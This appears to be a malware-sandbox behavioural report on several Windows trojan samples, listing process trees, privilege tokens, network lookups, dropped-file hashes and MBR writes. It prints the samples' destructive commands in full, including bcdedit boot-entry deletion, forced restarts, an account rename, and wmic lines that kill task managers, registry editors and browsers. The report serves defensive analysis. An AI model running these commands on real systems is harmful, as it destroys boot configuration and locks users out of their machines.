PID 2536 wrote to memory of 2448 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe C:\Windows\SysWOW64\cmd.exe
PID 2536 wrote to memory of 2448 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe C:\Windows\SysWOW64\cmd.exe
PID 2536 wrote to memory of 2448 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe C:\Windows\SysWOW64\cmd.exe
PID 2448 wrote to memory of 2524 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2448 wrote to memory of 2524 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2448 wrote to memory of 2524 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2448 wrote to memory of 2524 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2448 wrote to memory of 472 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2448 wrote to memory of 472 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2448 wrote to memory of 472 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2448 wrote to memory of 472 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2448 wrote to memory of 2116 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2448 wrote to memory of 2116 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2448 wrote to memory of 2116 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2448 wrote to memory of 2116 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2448 wrote to memory of 736 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe
PID 2448 wrote to memory of 736 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe
PID 2448 wrote to memory of 736 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe
PID 2448 wrote to memory of 736 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\z666.bat""

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im explorer.exe

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' set FullName='No System Anymore'

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' rename 'No System Anymore'

C:\Windows\SysWOW64\shutdown.exe

shutdown /f /r /t 0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x1

Network

N/A

Files

memory/2536-0-0x0000000000EE0000-0x00000000015AA000-memory.dmp

memory/2536-1-0x00000000746A0000-0x0000000074D8E000-memory.dmp

memory/2536-2-0x00000000053D0000-0x0000000005410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\z666.bat

MD5 ee655674ba8e05d5a4c32de58a6757c1
SHA1 f06f54710d5a0b341a9e6d467e1bb1a78f2f9606
SHA256 40cc0b6734258fc61e9940e359b7e0b84651e44a12943bb4381523a5cea325ef
SHA512 26bc97bff5612643c379776baf3637f7233748e7ecd8d8b94aa995e0a77d79c4c02d49ed98ef1bdc6d417bcf82e35069427692967c73d3b3899aff3868c93ebd

C:\Users\Admin\AppData\Local\Temp\NoSystemAnymore.exe

MD5 ef4e8ea4440efc48d5cd1a05a3a6f2a8
SHA1 74b5a40d4d9cb94ac7ed93b1cf9045539e50f068
SHA256 b1f25de77226ad8cf0e06226653e1c5aa7ac27a1ba8ba7bff8845685c2e53709
SHA512 f7aaa82dacf0ceee3f8311c787a568fdbe0b322d47371ddab37427902ceb74d0b324d6335878366d40f4d5d2b04b00157b81c8bd7b5c7b27fdcd26c770c13bf4

C:\Users\Admin\AppData\Local\Temp\bsod.exe

MD5 f1896231e9622dd044601962a9866a77
SHA1 36ad39e7d797ae43ee415e90a2dc234e0be3087b
SHA256 a254d664351a6db50d98bebbd530c46e64f9b9455bf4f378254045b2cde971f8
SHA512 e4004c3879b2b337260848e748c9d0b5e51bb4c8a8c317e44cedfe30e614391c329d1c07e7b052983897cc1010eee994c09cb370f721317f9c429c1d82e50901

memory/2536-22-0x00000000053D0000-0x0000000005410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\noway.txt

MD5 391403276c6df4a164b0544a3411c6c7
SHA1 c4c06a4c7710d1d8140b07abd4b7bcd4187485ab
SHA256 524dcba7e6a293bc6a19c1522672598a71ff4def394ac696ec30ea99154d511b
SHA512 2b0b05f4e8241ec07bd35f1a40113be5fa8689d5bfb8a4064a5c8dc119b10fe40b33697ad2e3195c068fa8cce5d7a860dbbbffebb45d8a9fc1ec121b6a5216f8

memory/1716-825-0x0000000002A40000-0x0000000002A41000-memory.dmp

memory/2536-824-0x00000000746A0000-0x0000000074D8E000-memory.dmp

memory/2272-826-0x0000000002760000-0x0000000002761000-memory.dmp

memory/2536-827-0x00000000053D0000-0x0000000005410000-memory.dmp

Analysis: behavioral28

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:34

Platform

win10v2004-20240226-en

Max time kernel

183s

Max time network

157s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe"

Signatures

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe"

C:\Windows\SysWOW64\cmd.exe

/c ""C:\Users\Admin\AppData\Local\Temp\240668828.bat" "

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM explorer.exe

Network

Country Destination Domain Proto
US 20.231.121.79:80 tcp
US 8.8.8.8:53 21.177.190.20.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 10.179.89.13.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\240668828.bat

MD5 2e90ad588f5329388216c652eebd4a33
SHA1 baa4f47ee4f195d854f8db905fcbb2539556f0e0
SHA256 6f88a1b6fb5975e2e49b33e7c9dabb593b18b2e7254bbe41263a9acc7294c2ac
SHA512 b793ffcfca291e52855dd92ce1f948ce8b6f6bfe0e9a878cf7c37630b621eb417fe8b720bea8f088bec98b26c6e379bb1212d8518bb6ebed8b9840e2f9f9f778

memory/3088-2-0x0000000000400000-0x0000000000407000-memory.dmp

Analysis: behavioral9

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:33

Platform

win7-20240215-en

Max time kernel

0s

Max time network

5s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe"

Signatures

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe"

Network

N/A

Files

N/A

Analysis: behavioral11

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:33

Platform

win7-20240221-en

Max time kernel

118s

Max time network

131s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe"

Network

N/A

Files

memory/2728-0-0x0000000000400000-0x0000000000412000-memory.dmp

Analysis: behavioral24

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:34

Platform

win10v2004-20240226-en

Max time kernel

142s

Max time network

190s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe"

Signatures

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000_Classes\Local Settings C:\Windows\SysWOW64\cmd.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe"

C:\Windows\SysWOW64\cmd.exe

/c ""C:\Users\Admin\AppData\Local\Temp\240652156.bat" "

C:\Windows\SysWOW64\cscript.exe

cscript [regtaskmgr.vbs]

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

Network

Country Destination Domain Proto
US 138.91.171.81:80 tcp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 5.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 79.121.231.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 29.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 211.143.182.52.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\240652156.bat

MD5 826431d3df1879172a96555d7ba0aeef
SHA1 f56ff5d3c06f78f53884071d1357ba79ee85b96e
SHA256 e22b0b5185247a3ca52cb7cd6a271efced0d1d6e8910294f7131241f5d58b7ee
SHA512 e995b82e1716ab7f7ea8d810a441ce2b68e570c0e31386670e6c193a11131e5274747205a3245424b7d71b7b0745313bd522eff452b175c80425fbf5ef2bbc52

memory/380-2-0x0000000000400000-0x0000000000407000-memory.dmp

Analysis: behavioral7

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:33

Platform

win7-20240221-en

Max time kernel

97s

Max time network

17s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"

Signatures

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Windows\Temp\winconfig.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\DetectKey.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe N/A

Modifies boot configuration data using bcdedit

Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe N/A

Enumerates physical storage devices

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DetectKey.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2324 wrote to memory of 2500 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe C:\Windows\Temp\winconfig.exe
PID 2324 wrote to memory of 2500 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe C:\Windows\Temp\winconfig.exe
PID 2324 wrote to memory of 2500 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe C:\Windows\Temp\winconfig.exe
PID 2324 wrote to memory of 2500 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe C:\Windows\Temp\winconfig.exe
PID 2500 wrote to memory of 2588 N/A C:\Windows\Temp\winconfig.exe C:\Windows\system32\cmd.exe
PID 2500 wrote to memory of 2588 N/A C:\Windows\Temp\winconfig.exe C:\Windows\system32\cmd.exe
PID 2500 wrote to memory of 2588 N/A C:\Windows\Temp\winconfig.exe C:\Windows\system32\cmd.exe
PID 2500 wrote to memory of 2588 N/A C:\Windows\Temp\winconfig.exe C:\Windows\system32\cmd.exe
PID 2588 wrote to memory of 2536 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 2588 wrote to memory of 2536 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 2588 wrote to memory of 2536 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 2588 wrote to memory of 2536 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 2588 wrote to memory of 2480 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2588 wrote to memory of 2480 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2588 wrote to memory of 2480 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2588 wrote to memory of 2428 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 2428 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 2428 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 2440 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 2440 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 2440 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 2812 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 2812 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 2812 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 816 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 816 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 816 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1524 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1524 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1524 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1860 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1860 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1860 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 2672 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 2672 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 2672 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 2000 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 2000 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 2000 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 2704 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 2704 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 2704 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 820 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 820 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 820 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1976 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1976 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1976 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 768 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 768 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 768 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1752 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1752 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1752 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1580 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1580 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1580 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1908 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1908 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1908 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1468 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1468 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1468 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2588 wrote to memory of 1696 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"

C:\Windows\Temp\winconfig.exe

"C:\Windows\Temp\winconfig.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\43F3.tmp\43F4.tmp\43F5.bat C:\Windows\Temp\winconfig.exe"

C:\Users\Admin\AppData\Roaming\DetectKey.exe

"C:\Users\Admin\AppData\Roaming\DetectKey.exe"

C:\Windows\system32\bcdedit.exe

bcdedit /delete {current}

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='mmc.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='PartAssist.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='control.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='Security Task Manager.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='Security Task Manager Protable.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='CCleaner.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='procexp.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='procexp64.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='procexp64a.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='regedit.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='iexplore.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='chrome.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='firefox.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='opera.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='edge.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='msedge.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='brave.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='wmplayer.exe' delete /nointeractive

